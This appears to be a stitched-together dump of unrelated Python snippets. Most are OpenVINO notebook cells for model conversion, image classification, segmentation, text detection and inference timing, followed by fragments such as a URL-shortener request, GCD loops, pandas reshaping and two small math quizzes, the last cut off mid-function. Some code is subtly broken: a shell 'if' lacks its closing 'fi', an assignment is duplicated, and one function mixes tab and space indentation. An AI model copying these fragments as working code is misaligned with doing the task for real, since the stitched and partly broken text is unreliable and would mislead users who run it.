    print(f"{classifier.label_list[index]}, {softmax_probability:.5f}")

# Timing and Comparison
num_images = 50

# PaddlePaddle's classification method expects a BGR numpy array
image = cv2.imread(filename=IMAGE_FILENAME)

# The process_image function expects a PIL image
pil_image = Image.open(fp=IMAGE_FILENAME)

# Show CPU information
ie = Core()
print(f"CPU: {ie.get_property(device_name='CPU', name='FULL_DEVICE_NAME')}")

# Show inference speed on PaddlePaddle model
start = time.perf_counter()
for _ in range(num_images):
    result = classifier.classification(images=[image], top_k=3)
end = time.perf_counter()
time_ir = end - start
print(
    f"PaddlePaddle model on CPU: {time_ir/num_images:.4f} "
    f"seconds per image, FPS: {num_images/time_ir:.2f}\n"
)
print("PaddlePaddle result:")
for class_name, softmax_probability in result[0].items():
    print(f"{class_name}, {softmax_probability:.5f}")
plt.imshow(cv2.cvtColor(image, cv2.COLOR_BGR2RGB));

# Show inference speed on OpenVINO IR model
compiled_model = ie.compile_model(model=model, device_name="CPU")
output_layer = compiled_model.output(0)


start = time.perf_counter()
input_image = process_image(pil_image)[None,]
for _ in range(num_images):
    ie_result = compiled_model([input_image])[output_layer][0]
    result_index = np.argmax(ie_result)
    class_name = classifier.label_list[np.argmax(ie_result)]
    softmax_result = softmax(ie_result)
    top_indices = np.argsort(softmax_result)[-3:][::-1]
    top_softmax = softmax_result[top_indices]

end = time.perf_counter()
time_ir = end - start

print(
    f"IR model in Inference Engine (CPU): {time_ir/num_images:.4f} "
    f"seconds per image, FPS: {num_images/time_ir:.2f}"
)
print()
print("OpenVINO result:")
for index, softmax_probability in zip(top_indices, top_softmax):
    print(f"{classifier.label_list[index]}, {softmax_probability:.5f}")
plt.imshow(cv2.cvtColor(image, cv2.COLOR_BGR2RGB));
# Imports
import sys
import time
from pathlib import Path

import cv2
import numpy as np
import torch
from IPython.display import Markdown, display
from fastseg import MobileV3Large
from openvino.runtime import Core

sys.path.append("../utils")
from notebook_utils import CityScapesSegmentation, segmentation_map_to_image, viz_result_image

# Settings
IMAGE_WIDTH = 1024  # Suggested values: 2048, 1024 or 512. The minimum width is 512.
# Set IMAGE_HEIGHT manually for custom input sizes. Minimum height is 512
IMAGE_HEIGHT = 1024 if IMAGE_WIDTH == 2048 else 512
DIRECTORY_NAME = "model"
BASE_MODEL_NAME = DIRECTORY_NAME + f"/fastseg{IMAGE_WIDTH}"

# Paths where PyTorch, ONNX and OpenVINO IR models will be stored
model_path = Path(BASE_MODEL_NAME).with_suffix(".pth")
onnx_path = model_path.with_suffix(".onnx")
ir_path = model_path.with_suffix(".xml")

# Download the Fastseg Model
print("Downloading the Fastseg model (if it has not been downloaded before)....")
model = MobileV3Large.from_pretrained().cpu().eval()
print("Loaded PyTorch Fastseg model")

# Save the model
model_path.parent.mkdir(exist_ok=True)
torch.save(model.state_dict(), str(model_path))
print(f"Model saved at {model_path}")

# Convert PyTorch model to ONNX
if not onnx_path.exists():
    dummy_input = torch.randn(1, 3, IMAGE_HEIGHT, IMAGE_WIDTH)

    # For the Fastseg model, setting do_constant_folding to False is required
    # for PyTorch>1.5.1
    torch.onnx.export(
        model,
        dummy_input,
        onnx_path,
        opset_version=11,
        do_constant_folding=False,
    )
    print(f"ONNX model exported to {onnx_path}.")
else:
    print(f"ONNX model {onnx_path} already exists.")

# Convert ONNX Model to OpenVINO IR Format
# Construct the command for Model Optimizer
mo_command = f"""mo
                 --input_model "{onnx_path}"
                 --input_shape "[1,3, {IMAGE_HEIGHT}, {IMAGE_WIDTH}]"
                 --mean_values="[123.675, 116.28 , 103.53]"
                 --scale_values="[58.395, 57.12 , 57.375]"
                 --data_type FP16
                 --output_dir "{model_path.parent}"
                 """
mo_command = " ".join(mo_command.split())
print("Model Optimizer command to convert the ONNX model to OpenVINO:")
display(Markdown(f"`{mo_command}`"))

if not ir_path.exists():
    print("Exporting ONNX model to IR... This may take a few minutes.")
    mo_result = %sx $mo_command
    print("\n".join(mo_result))
else:
    print(f"IR model {ir_path} already exists.")

# Show results: Load and Preprocess an Input Image
def normalize(image: np.ndarray) -> np.ndarray:
    """
    Normalize the image to the given mean and standard deviation
    for CityScapes models.
    """
    image = image.astype(np.float32)
    mean = (0.485, 0.456, 0.406)
    std = (0.229, 0.224, 0.225)
    image /= 255.0
    image -= mean
    image /= std
    return image

image_filename = "data/street.jpg"
image = cv2.cvtColor(cv2.imread(image_filename), cv2.COLOR_BGR2RGB)

resized_image = cv2.resize(image, (IMAGE_WIDTH, IMAGE_HEIGHT))
normalized_image = normalize(resized_image)

# Convert the resized images to network input shape
input_image = np.expand_dims(np.transpose(resized_image, (2, 0, 1)), 0)
normalized_input_image = np.expand_dims(np.transpose(normalized_image, (2, 0, 1)), 0)

# ONNX Model in Inference Engine
# Load network to Inference Engine
ie = Core()
model_onnx = ie.read_model(model=onnx_path)
compiled_model_onnx = ie.compile_model(model=model_onnx, device_name="CPU")

output_layer_onnx = compiled_model_onnx.output(0)

# Run inference on the input image
res_onnx = compiled_model_onnx([normalized_input_image])[output_layer_onnx]

# Convert network result to segmentation map and display the result
result_mask_onnx = np.squeeze(np.argmax(res_onnx, axis=1)).astype(np.uint8)
viz_result_image(
    image,
    segmentation_map_to_image(result_mask_onnx, CityScapesSegmentation.get_colormap()),
    resize=True,
)

# IR Model in Inference Engine
# Load the network in Inference Engine
ie = Core()
model_ir = ie.read_model(model=ir_path)
compiled_model_ir = ie.compile_model(model=model_ir, device_name="CPU")

# Get input and output layers
output_layer_ir = compiled_model_ir.output(0)

# Run inference on the input image
res_ir = compiled_model_ir([input_image])[output_layer_ir]

result_mask_ir = np.squeeze(np.argmax(res_ir, axis=1)).astype(np.uint8)
viz_result_image(
    image,
    segmentation_map_to_image(result=result_mask_ir, colormap=CityScapesSegmentation.get_colormap()),
    resize=True,
)

# PyTorch Comparison
with torch.no_grad():
    result_torch = model(torch.as_tensor(normalized_input_image).float())

result_mask_torch = torch.argmax(result_torch, dim=1).squeeze(0).numpy().astype(np.uint8)
viz_result_image(
    image,
    segmentation_map_to_image(result=result_mask_torch, colormap=CityScapesSegmentation.get_colormap()),
    resize=True,
)

# Performance Comparison
num_images = 20

start = time.perf_counter()
for _ in range(num_images):
    compiled_model_onnx([normalized_input_image])
end = time.perf_counter()
time_onnx = end - start
print(
    f"ONNX model in Inference Engine/CPU: {time_onnx/num_images:.3f} "
    f"seconds per image, FPS: {num_images/time_onnx:.2f}"
)

start = time.perf_counter()
for _ in range(num_images):
    compiled_model_ir([input_image])
end = time.perf_counter()
time_ir = end - start
print(
    f"IR model in Inference Engine/CPU: {time_ir/num_images:.3f} "
    f"seconds per image, FPS: {num_images/time_ir:.2f}"
)

with torch.no_grad():
    start = time.perf_counter()
    for _ in range(num_images):
        model(torch.as_tensor(input_image).float())
    end = time.perf_counter()
    time_torch = end - start
print(
    f"PyTorch model on CPU: {time_torch/num_images:.3f} seconds per image, "
    f"FPS: {num_images/time_torch:.2f}"
)

if "GPU" in ie.available_devices:
    compiled_model_onnx_gpu = ie.compile_model(model=model_onnx, device_name="GPU")
    start = time.perf_counter()
    for _ in range(num_images):
        compiled_model_onnx_gpu([input_image])
    end = time.perf_counter()
    time_onnx_gpu = end - start
    print(
        f"ONNX model in Inference Engine/GPU: {time_onnx_gpu/num_images:.3f} "
        f"seconds per image, FPS: {num_images/time_onnx_gpu:.2f}"
    )

    compiled_model_ir_gpu = ie.compile_model(model=model_ir, device_name="GPU")
    start = time.perf_counter()
    for _ in range(num_images):
        compiled_model_ir_gpu([input_image])
    end = time.perf_counter()
    time_ir_gpu = end - start
    print(
        f"IR model in Inference Engine/GPU: {time_ir_gpu/num_images:.3f} "
        f"seconds per image, FPS: {num_images/time_ir_gpu:.2f}"
    )

# Show Device Information
devices = ie.available_devices
for device in devices:
    device_name = ie.get_property(device_name=device, name="FULL_DEVICE_NAME")
    print(f"{device}: {device_name}")
# Imports
import time
from pathlib import Path

import cv2
import matplotlib.pyplot as plt
import numpy as np
from IPython.display import Markdown
from openvino.runtime import Core

# Settings
# The paths of the source and converted models
model_path = Path("model/v3-small_224_1.0_float.pb")
ir_path = Path(model_path).with_suffix(".xml")

# Convert TensorFlow Model to OpenVINO IR Format
# Construct the command for Model Optimizer
mo_command = f"""mo
                 --input_model "{model_path}" 
                 --input_shape "[1,224,224,3]" 
                 --mean_values="[127.5,127.5,127.5]"
                 --scale_values="[127.5]" 
                 --data_type FP16 
                 --output_dir "{model_path.parent}"
                 """
mo_command = " ".join(mo_command.split())
print("Model Optimizer command to convert TensorFlow to OpenVINO:")
display(Markdown(f"`{mo_command}`"))

# Run Model Optimizer if the IR model file does not exist
if not ir_path.exists():
    print("Exporting TensorFlow model to IR... This may take a few minutes.")
    ! $mo_command
else:
    print(f"IR model {ir_path} already exists.")

# Load the Model
ie = Core()
model = ie.read_model(model=ir_path, weights=ir_path.with_suffix(".bin"))
compiled_model = ie.compile_model(model=model, device_name="CPU")

# Get Model Information
input_key = compiled_model.input(0)
output_key = compiled_model.output(0)
network_input_shape = input_key.shape

# Load an Image
# The MobileNet network expects images in RGB format
image = cv2.cvtColor(cv2.imread(filename="data/coco.jpg"), code=cv2.COLOR_BGR2RGB)

# Resize image to network input image shape
resized_image = cv2.resize(src=image, dsize=(224, 224))

# Transpose image to network input shape
input_image = np.expand_dims(resized_image, 0)

plt.imshow(image);

# Do Inference
result = compiled_model([input_image])[output_key]
result_index = np.argmax(result)

# Convert the inference result to a class name.
imagenet_classes = open("utils/imagenet_2012.txt").read().splitlines()

# The model description states that for this model, class 0 is background,
# so we add background at the beginning of imagenet_classes
imagenet_classes = ['background'] + imagenet_classes

imagenet_classes[result_index]

# Timing
num_images = 1000

start = time.perf_counter()

for _ in range(num_images):
    compiled_model([input_image])

end = time.perf_counter()
time_ir = end - start

print(
    f"IR model in Inference Engine/CPU: {time_ir/num_images:.4f} "
    f"seconds per image, FPS: {num_images/time_ir:.2f}"
)
# Imports
import cv2
import matplotlib.pyplot as plt
import numpy as np
from openvino.runtime import Core

# Load the Model
ie = Core()

model = ie.read_model(model="model/horizontal-text-detection-0001.xml")
compiled_model = ie.compile_model(model=model, device_name="CPU")

input_layer_ir = compiled_model.input(0)
output_layer_ir = compiled_model.output("boxes")

# Load an Image
# Text detection models expects image in BGR format
image = cv2.imread("data/intel_rnb.jpg")

# N,C,H,W = batch size, number of channels, height, width
N, C, H, W = input_layer_ir.shape

# Resize image to meet network expected input sizes
resized_image = cv2.resize(image, (W, H))

# Reshape to network input shape
input_image = np.expand_dims(resized_image.transpose(2, 0, 1), 0)

plt.imshow(cv2.cvtColor(image, cv2.COLOR_BGR2RGB));

# Do Inference
# Create inference request
boxes = compiled_model([input_image])[output_layer_ir]

# Remove zero only boxes
boxes = boxes[~np.all(boxes == 0, axis=1)]

# Visualize Results
# For each detection, the description has the format: [x_min, y_min, x_max, y_max, conf]
# Image passed here is in BGR format with changed width and height. To display it in colors expected by matplotlib we use cvtColor function
def convert_result_to_image(bgr_image, resized_image, boxes, threshold=0.3, conf_labels=True):
    # Define colors for boxes and descriptions
    colors = {"red": (255, 0, 0), "green": (0, 255, 0)}

    # Fetch image shapes to calculate ratio
    (real_y, real_x), (resized_y, resized_x) = bgr_image.shape[:2], resized_image.shape[:2]
    ratio_x, ratio_y = real_x / resized_x, real_y / resized_y

    # Convert base image from bgr to rgb format
    rgb_image = cv2.cvtColor(bgr_image, cv2.COLOR_BGR2RGB)

    # Iterate through non-zero boxes
    for box in boxes:
        # Pick confidence factor from last place in array
        conf = box[-1]
        if conf > threshold:
            # Convert float to int and multiply corner position of each box by x and y ratio
            # In case that bounding box is found at the top of the image, 
            # we position upper box bar little lower to make it visible on image 
            (x_min, y_min, x_max, y_max) = [
                int(max(corner_position * ratio_y, 10)) if idx % 2 
                else int(corner_position * ratio_x)
                for idx, corner_position in enumerate(box[:-1])
            ]

            # Draw box based on position, parameters in rectangle function are: image, start_point, end_point, color, thickness
            rgb_image = cv2.rectangle(rgb_image, (x_min, y_min), (x_max, y_max), colors["green"], 3)

            # Add text to image based on position and confidence
            # Parameters in text function are: image, text, bottom-left_corner_textfield, font, font_scale, color, thickness, line_type
            if conf_labels:
                rgb_image = cv2.putText(
                    rgb_image,
                    f"{conf:.2f}",
                    (x_min, y_min - 10),
                    cv2.FONT_HERSHEY_SIMPLEX,
                    0.8,
                    colors["red"],
                    1,
                    cv2.LINE_AA,
                )

    return rgb_image

plt.figure(figsize=(10, 6))
plt.axis("off")
plt.imshow(convert_result_to_image(image, resized_image, boxes, conf_labels=False));
# Imports
import cv2
import matplotlib.pyplot as plt
import numpy as np
import sys
from openvino.runtime import Core

sys.path.append("../utils")
from notebook_utils import segmentation_map_to_image

# Load the Model
ie = Core()

model = ie.read_model(model="model/road-segmentation-adas-0001.xml")
compiled_model = ie.compile_model(model=model, device_name="CPU")

input_layer_ir = compiled_model.input(0)
output_layer_ir = compiled_model.output(0)

# Load an Image
# The segmentation network expects images in BGR format
image = cv2.imread("data/empty_road_mapillary.jpg")

rgb_image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
image_h, image_w, _ = image.shape

# N,C,H,W = batch size, number of channels, height, width
N, C, H, W = input_layer_ir.shape

# OpenCV resize expects the destination size as (width, height)
resized_image = cv2.resize(image, (W, H))

# reshape to network input shape
input_image = np.expand_dims(
    resized_image.transpose(2, 0, 1), 0
)  
plt.imshow(rgb_image)

# Run the inference
result = compiled_model([input_image])[output_layer_ir]

# Prepare data for visualization
segmentation_mask = np.argmax(result, axis=1)
plt.imshow(segmentation_mask.transpose(1, 2, 0))

# Prepare Data for Visualization
# Define colormap, each color represents a class
colormap = np.array([[68, 1, 84], [48, 103, 141], [53, 183, 120], [199, 216, 52]])

# Define the transparency of the segmentation mask on the photo
alpha = 0.3

# Use function from notebook_utils.py to transform mask to an RGB image
mask = segmentation_map_to_image(segmentation_mask, colormap)
resized_mask = cv2.resize(mask, (image_w, image_h))

# Create image with mask put on
image_with_mask = cv2.addWeighted(resized_mask, alpha, rgb_image, 1 - alpha, 0)

# Visualize data
# Define titles with images
data = {"Base Photo": rgb_image, "Segmentation": mask, "Masked Photo": image_with_mask}

# Create subplot to visualize images
fig, axs = plt.subplots(1, len(data.items()), figsize=(15, 10))

# Fill subplot
for ax, (name, image) in zip(axs, data.items()):
    ax.axis('off')
    ax.set_title(name)
    ax.imshow(image)

# Display image
plt.show(fig)
# Load Inference Engine and Show Info
from openvino.runtime import Core
ie = Core()

devices = ie.available_devices

for device in devices:
    device_name = ie.get_property(device_name=device, name="FULL_DEVICE_NAME")
    print(f"{device}: {device_name}")

# Loading a Model
from openvino.runtime import Core

ie = Core()
classification_model_xml = "model/classification.xml"

model = ie.read_model(model=classification_model_xml)
compiled_model = ie.compile_model(model=model, device_name="CPU")

from openvino.runtime import Core

ie = Core()
onnx_model_path = "model/segmentation.onnx"
model_onnx = ie.read_model(model=onnx_model_path)
compiled_model_onnx = ie.compile_model(model=model_onnx, device_name="CPU")

from openvino.offline_transformations import serialize

serialize(model=model_onnx, model_path="model/exported_onnx_model.xml", weights_path="model/exported_onnx_model.bin")

# Getting Information about a Model
from openvino.runtime import Core

ie = Core()
classification_model_xml = "model/classification.xml"
model = ie.read_model(model=classification_model_xml)
model.input(0).any_name

input_layer = model.input(0)

print(f"input precision: {input_layer.element_type}")
print(f"input shape: {input_layer.shape}")

from openvino.runtime import Core

ie = Core()
classification_model_xml = "model/classification.xml"
model = ie.read_model(model=classification_model_xml)
model.output(0).any_name

output_layer = model.output(0)
output_layer

print(f"output precision: {output_layer.element_type}")
print(f"output shape: {output_layer.shape}")

from openvino.runtime import Core

ie = Core()
classification_model_xml = "model/classification.xml"
model = ie.read_model(model=classification_model_xml)
compiled_model = ie.compile_model(model=model, device_name="CPU")
input_layer = compiled_model.input(0)
output_layer = compiled_model.output(0)

import cv2

image_filename = "data/coco_hollywood.jpg"
image = cv2.imread(image_filename)
image.shape

# N,C,H,W = batch size, number of channels, height, width
N, C, H, W = input_layer.shape
# OpenCV resize expects the destination size as (width, height)
resized_image = cv2.resize(src=image, dsize=(W, H))
resized_image.shape

import numpy as np

input_data = np.expand_dims(np.transpose(resized_image, (2, 0, 1)), 0).astype(np.float32)
input_data.shape

# Do Inference
result = compiled_model([input_data])[output_layer]

request = compiled_model.create_infer_request()
request.infer(inputs={input_layer.any_name: input_data})
result = request.get_output_tensor(output_layer.index).data

from openvino.runtime import Core, PartialShape

ie = Core()
segmentation_model_xml = "model/segmentation.xml"
segmentation_model = ie.read_model(model=segmentation_model_xml)
segmentation_input_layer = segmentation_model.input(0)
segmentation_output_layer = segmentation_model.output(0)

print("~~~~ ORIGINAL MODEL ~~~~")
print(f"input shape: {segmentation_input_layer.shape}")
print(f"output shape: {segmentation_output_layer.shape}")

new_shape = PartialShape([1, 3, 544, 544])
segmentation_model.reshape({segmentation_input_layer.any_name: new_shape})
segmentation_compiled_model = ie.compile_model(model=segmentation_model, device_name="CPU")
# help(segmentation_compiled_model)
print("~~~~ RESHAPED MODEL ~~~~")
print(f"model input shape: {segmentation_input_layer.shape}")
print(
    f"compiled_model input shape: "
    f"{segmentation_compiled_model.input(index=0).shape}"
)
print(f"compiled_model output shape: {segmentation_output_layer.shape}")

# Change Batch Size
from openvino.runtime import Core, PartialShape

ie = Core()
segmentation_model_xml = "model/segmentation.xml"
segmentation_model = ie.read_model(model=segmentation_model_xml)
segmentation_input_layer = segmentation_model.input(0)
segmentation_output_layer = segmentation_model.output(0)
new_shape = PartialShape([2, 3, 544, 544])
segmentation_model.reshape({segmentation_input_layer.any_name: new_shape})
segmentation_compiled_model = ie.compile_model(model=segmentation_model, device_name="CPU")

print(f"input shape: {segmentation_input_layer.shape}")
print(f"output shape: {segmentation_output_layer.shape}")

import numpy as np
from openvino.runtime import Core, PartialShape

ie = Core()
segmentation_model_xml = "model/segmentation.xml"
segmentation_model = ie.read_model(model=segmentation_model_xml)
segmentation_input_layer = segmentation_model.input(0)
segmentation_output_layer = segmentation_model.output(0)
new_shape = PartialShape([2, 3, 544, 544])
segmentation_model.reshape({segmentation_input_layer.any_name: new_shape})
segmentation_compiled_model = ie.compile_model(model=segmentation_model, device_name="CPU")
input_data = np.random.rand(2, 3, 544, 544)

output = segmentation_compiled_model([input_data])

print(f"input data shape: {input_data.shape}")
print(f"result data data shape: {segmentation_output_layer.shape}")

# Caching a Model
import time
from pathlib import Path

from openvino.runtime import Core, PartialShape

ie = Core()

device_name = "GPU"  # Model Caching is not available for CPU

if device_name in ie.available_devices and device_name != "CPU":
    cache_path = Path("model/model_cache")
    cache_path.mkdir(exist_ok=True)
    # Enable caching for Inference Engine. To disable caching set enable_caching = False
    enable_caching = True
    config_dict = {"CACHE_DIR": str(cache_path)} if enable_caching else {}

    classification_model_xml = "model/classification.xml"
    model = ie.read_model(model=classification_model_xml)

    start_time = time.perf_counter()
    compiled_model = ie.compile_model(model=model, device_name=device_name, config=config_dict)
    end_time = time.perf_counter()
    print(f"Loading the network to the {device_name} device took {end_time-start_time:.2f} seconds.")
else:
    print("Model caching is not available on CPU devices.")

if device_name in ie.available_devices and device_name != "CPU":
    del compiled_model
    start_time = time.perf_counter()
    compiled_model = ie.compile_model(model=model, device_name=device_name, config=config_dict)
    end_time = time.perf_counter()
    print(f"Loading the network to the {device_name} device took {end_time-start_time:.2f} seconds.")
# Imports
import cv2
import matplotlib.pyplot as plt
import numpy as np
from openvino.runtime import Core

# Load the model
ie = Core()
model = ie.read_model(model="model/v3-small_224_1.0_float.xml")
compiled_model = ie.compile_model(model=model, device_name="CPU")
output_layer = compiled_model.output(0)

# Load an Image
# The MobileNet model expects images in RGB format
image = cv2.cvtColor(cv2.imread(filename="data/coco.jpg"), code=cv2.COLOR_BGR2RGB)

# resize to MobileNet image shape
input_image = cv2.resize(src=image, dsize=(224, 224))

# reshape to model input shape
input_image = np.expand_dims(input_image.transpose(2, 0, 1), 0)
plt.imshow(image);

# Do Inference
result_infer = compiled_model([input_image])[output_layer]
result_index = np.argmax(result_infer)

# Convert the inference result to a class name.
imagenet_classes = open("utils/imagenet_2012.txt").read().splitlines()

# The model description states that for this model, class 0 is background,
# so we add background at the beginning of imagenet_classes
imagenet_classes = ['background'] + imagenet_classes

imagenet_classes[result_index]
# Upload the required wheel files, models and images in a google drive folder
# Uncomment and run the below command to copy them in your current workspace
#!cp /content/drive/MyDrive/TF-OV/working_dir_files/* . 

import os

# Enable these variables for runtime inference optimizations
os.environ["OPENVINO_TF_CONVERT_VARIABLES_TO_CONSTANTS"] = "1"
os.environ["TF_ENABLE_ONEDNN_OPTS"] = "1"

!python3 -m pip -q install --upgrade pip
!python3 -m pip -q install pillow
!python3 -m pip -q install keras_applications

# Install TensorFlow (v2.8.0) and OpenVINO-TensorFlow (v2.0.0) only if they aren't found
!if python3 -c "import tensorflow"; then echo "Found TensorFlow. Skipping."; else echo "TensorFlow Not Found. Installing."; python3 -m pip -q install tensorflow==2.8.0; fi
!if python3 -c "import openvino_tensorflow"; then echo "Found OpenVINO-TensorFlow. Skipping."; else echo "OpenVINO-TensorFlow Not Found. Installing."; 

OVTF_DIR = "/"
RAW_GITHUB_COMMON = "https://raw.githubusercontent.com/openvinotoolkit/openvino_tensorflow/master/examples/common/"
GITHUB_EXAMPLES = "https://github.com/openvinotoolkit/openvino_tensorflow/raw/master/examples/data/"
RAW_GITHUB_EXAMPLES = "https://raw.githubusercontent.com/openvinotoolkit/openvino_tensorflow/master/examples/"

import os

files = os.listdir('.')
if ('common' not in files or 'examples' not in files) and 'openvino_tensorflow' not in os.listdir(OVTF_DIR):
    !mkdir ./common
    !wget {RAW_GITHUB_COMMON}/post_process.py -O ./common/post_process.py
    !wget {RAW_GITHUB_COMMON}/pre_process.py -O ./common/pre_process.py
    !wget {RAW_GITHUB_COMMON}/utils.py -O ./common/utils.py
    !mkdir -p ./examples/data
    !wget {GITHUB_EXAMPLES}/grace_hopper.jpg -O ./examples/data/grace_hopper.jpg
    !wget {GITHUB_EXAMPLES}/yolov4_anchors.txt -O ./examples/data/yolov4_anchors.txt
    !wget {RAW_GITHUB_EXAMPLES}/convert_yolov4.sh -O ./examples/convert_yolov4.sh
    !wget {RAW_GITHUB_EXAMPLES}/keras_to_tensorflow.patch -O ./examples/keras_to_tensorflow.patch

import sys

if 'openvino_tensorflow' in os.listdir(OVTF_DIR):
    sys_append = os.path.abspath(OVTF_DIR + "/openvino_tensorflow/examples/")
    sys.path.append(sys_append)

from __future__ import absolute_import, division, print_function, unicode_literals

import numpy as np
import tensorflow as tf
import openvino_tensorflow as ovtf
from PIL import Image
import cv2
import matplotlib.pyplot as plt

from common.utils import get_input_mode, get_colors, draw_boxes, get_anchors, rename_file
from common.pre_process import preprocess_image_yolov3 as preprocess_image
from common.post_process import yolo3_postprocess_np

# Download and Convert the YoloV4 model
files = os.listdir('.')
if 'examples' in files:
    path = "examples"
else:
    path = "{0}/openvino_tensorflow/examples/".format(OVTF_DIR)
%cd {path}
!chmod +x convert_yolov4.sh && bash convert_yolov4.sh
# Once the model conversion is completed; move back to outside of examples directory
%cd ../
  
def load_coco_names(file_name):
    """Parses the label file with only class names,
      and returns a dictionary mapping the class IDs to class names.
    """
    names = {}
    with open(file_name) as f:
        for id_, name in enumerate(f):
            names[id_] = name
    return names

def load_labels(label_file):
    """Parses the label file, assuming that labels are separated with a newline
       in the file and returns the list of labels.
    """  
    label = []
    proto_as_ascii_lines = tf.io.gfile.GFile(label_file).readlines()
    for l in proto_as_ascii_lines:
        label.append(l.rstrip())
    return label

def infer_openvino_tensorflow(model_file, image_file , input_height, input_width, label_file, anchor_file, conf_threshold, iou_threshold):
    """Takes the tensorflow model and all other input parameters as arguments. 
       Runs inference with the object detection model and prints the predictions.
    """
    print("CREATE MODEL - BEGIN")

    # Load model and process input image
    model =     model = tf.saved_model.load(model_file)
    print("CREATE MODEL - END")

    if label_file:
        classes = load_coco_names(label_file)
        labels = load_labels(label_file)
        colors = get_colors(labels)

    if anchor_file:
        anchors = get_anchors(anchor_file)

    print("PREDICTION - BEGIN")
    
    #Preprocess Image
    image = Image.open(image_file)
    img = np.asarray(image)
    image_width, image_height = image.size
    img_resized = tf.convert_to_tensor(preprocess_image(image, (input_height, input_width)))

    # Warmup
    detected_boxes = model(img_resized)
    # Run
    import time
    start = time.time()
    detected_boxes = model(img_resized)
    elapsed = time.time() - start
    print('Inference time in ms: %f' % (elapsed * 1000))
    print("PREDICTION - END")  
    
    image_shape = tuple((image_height, image_width))  
    # apply non max suppresion, draw boxes and save updated image
    out_boxes, out_classes, out_scores = yolo3_postprocess_np(
            detected_boxes,
            image_shape,
            anchors,
            len(labels), (input_height, input_width),
            max_boxes=10,
            confidence=conf_threshold,
            iou_threshold=iou_threshold,
            elim_grid_sense=True)
    img_bbox = draw_boxes(img, out_boxes, out_classes, out_scores,
                        labels, colors)
    if output_dir:
        cv2.imwrite(os.path.join(output_dir, "detections.jpg"), img_bbox)
    else:
        cv2.imwrite("detections.jpg", img_bbox)
    plt.imshow(img)

input_file = "examples/data/grace_hopper.jpg"
model_file = "examples/data/yolo_v4"
label_file = "examples/data/coco.names"
anchor_file = "examples/data/yolov4_anchors.txt"
input_height = 416
input_width = 416
backend_name = "CPU"
output_dir = "."
conf_threshold = 0.6
iou_threshold = 0.5

#Print list of available backends
print('Available Backends:')
backends_list = ovtf.list_backends()
for backend in backends_list:
    print(backend)
ovtf.set_backend(backend_name)

print("OpenVINO TensorFlow is enabled")
infer_openvino_tensorflow(model_file, input_file, input_height, input_width, label_file, anchor_file, conf_threshold, iou_threshold )

ovtf.disable() ## Disabling OVTF
print("OpenVINO TensorFlow is disabled")
infer_openvino_tensorflow(model_file, input_file, input_height, input_width, label_file, anchor_file, conf_threshold, iou_threshold )
ovtf.enable()
import requests

url = 'https://dink.ga/api/criarURL?url=SEU_URL'

response = requests.request('GET', url)
print(response.text)
def add(*vectors): 
	return (sum([v[0] for v in vectors]), sum([v[1] for v in vectors]))
$ pip install -r requirements.txt --no-index --find-links file:///tmp/packages


pip3 install -r requirements.txt #ubuntu
pip install -r requirements.txt #win


py -m pip install --upgrade pip
a = int(input("What's the first number? "))
b = int(input("What's the second number? ")) 
while 1:
    r=a%b
    if not r:
        break
    a=b
    b=r
print('GCD is:', b)
a = int(input("What's the first number? "))
b = int(input("What's the second number? ")) 
r=a%b
while r:
    a=b
    b=r
    r=a%b
print('GCD is:', b)
Start = -2
End = 2
Increment = 0.25
Array =  np.arange(Start, End, Increment)

for i in range(0, Array.size):
    print (Array[i])

df1 = (df.set_index(["location", "name"])
         .stack()
         .reset_index(name='Value')
         .rename(columns={'level_2':'Date'}))
print (df1)
  location  name        Date  Value
0        A  test    Jan-2010     12
1        A  test    Feb-2010     20
2        A  test  March-2010     30
3        B   foo    Jan-2010     18
4        B   foo    Feb-2010     20
5        B   foo  March-2010     25
# Drop first column of dataframe
df = df.iloc[: , 1:]
df_sample['prediction']=prediction
## Now let's save it to the proper submission.csv file. It is important to set index parameter to "False",
## otherwise our row index would be included in the output file. I would't recommend it.
df_sample.to_csv('submission.csv', index=False)
#!/usr/bin/env python3
import random
from time import monotonic


def main():
    aufgabenanzahl = int(input("Wie viele Durchgänge? "))
    punkte = 0
    total_time = 0
    for _ in range(aufgabenanzahl):
        operanden = [random.randint(1, 10) for _ in range(4)]
        start_time = monotonic()
        antwort = int(
            input("Wieviel ist {} * {} + {} - {}? ".format(*operanden))
        )
        elapsed_time = monotonic() - start_time
        total_time += elapsed_time
        loesung = operanden[0] * operanden[1] + operanden[2] - operanden[3]
        if antwort != loesung:
            print(f"Falsch! Richtig ist {loesung}.")
        else:
            print(f"Richtig! {elapsed_time:.2f} Sekunden")
            punkte += 1

    print(
        f"{punkte} Punkte! Du hast {punkte} von {aufgabenanzahl} Aufgaben"
        f" richtig gerechnet!"
    )
    print(f"Das sind {punkte / aufgabenanzahl:.0%}!")
    print(f"Gesamtzeit für {aufgabenanzahl} Aufgaben: {total_time:.2f}s")


if __name__ == "__main__":
    main()
from sklearn.metrics import mean_squared_error
from sklearn.model_selection import train_test_split
def plot_learning_curves(model, X, y):
  X_train, X_val, y_train, y_val = train_test_split(X, y, test_size=0.2)
  train_errors, val_errors = [], []
  for m in range(1, len(X_train)):
    model.fit(X_train[:m], y_train[:m])
	y_train_predict = model.predict(X_train[:m])
	y_val_predict = model.predict(X_val)
	train_errors.append(mean_squared_error(y_train[:m], y_train_predict))
    val_errors.append(mean_squared_error(y_val, y_val_predict))
  plt.plot(np.sqrt(train_errors), "r-+", linewidth=2, label="train")
  plt.plot(np.sqrt(val_errors), "b-", linewidth=3, label="val")
import random
#https://gist.github.com/cwil323/9b1bfd25523f75d361879adfed550be2

def display_intro():
    title = "** A Simple Math Quiz **"
    print("*" * len(title))
    print(title)
    print("*" * len(title))


def display_menu():
    menu_list = ["1. Addition", "2. Subtraction", "3. Multiplication", "4. Integer Division", "5. Exit"]
    print(menu_list[0])
    print(menu_list[1])
    print(menu_list[2])
    print(menu_list[3])
    print(menu_list[4])


def display_separator():
    print("-" * 24)


def get_user_input():
    user_input = int(input("Enter your choice: "))
    while user_input > 5 or user_input <= 0:
        print("Invalid menu option.")
        user_input = int(input("Please try again: "))
    else:
        return user_input


def get_user_solution(problem):
    print("Enter your answer")
    print(problem, end="")
    result = int(input(" = "))
    return result


def check_solution(user_solution, solution, count):
    if user_solution == solution:
        count = count + 1
        print("Correct.")
        return count
    else:
        print("Incorrect.")
        return count


def menu_option(index, count):
    number_one = random.randrange(1, 21)
    number_two = random.randrange(1, 21)
    if index is 1:
        problem = str(number_one) + " + " + str(number_two)
        solution = number_one + number_two
        user_solution = get_user_solution(problem)
        count = check_solution(user_solution, solution, count)
        return count
    elif index is 2:
